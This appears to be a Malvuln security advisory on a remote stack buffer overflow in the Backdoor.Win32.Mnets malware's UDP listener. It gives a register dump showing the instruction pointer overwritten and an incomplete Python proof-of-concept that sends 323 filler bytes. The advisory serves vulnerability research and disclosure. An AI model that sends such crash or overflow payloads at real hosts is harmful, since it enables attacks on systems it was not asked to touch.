Authored by malvuln | Site

Backdoor.Win32.Mnets malware suffers from a remote stack buffer overflow vulnerability.

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Mnets
Vulnerability: Remote Stack Buffer Overflow - (UDP Datagram Proto)
Description: The backdoor listens for commands on UDP ports 2222 and 4444. Sending a mere 323 bytes we can overwrite the instruction pointer (EIP), potentially giving us program execution flow over the remote Malware.
Type: PE32
MD5: 1e42493dcef54a62bc28e0a1338c1142
Vuln ID: MVID-2021-0031
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/16/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 773E9D70 ntdll.773E9D70
EBP : 000A1488
ESP : 000A1468
ESI : 00000000
EDI : 00000000
EIP : 41414141

This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1afc.f24): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1468 ebp=000a1488 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

from socket import *


def doit():
#UDP Protocol
s.connect((MALWARE_HOST, PORT))

PACKEE = "A"*323


print("Backdoor.Win32.Mnets / Remote Stack Buffer Overflow");
print("MD5: 1e42493dcef54a62bc28e0a1338c1142");
print("By Malvuln");

if __name__=="__main__":

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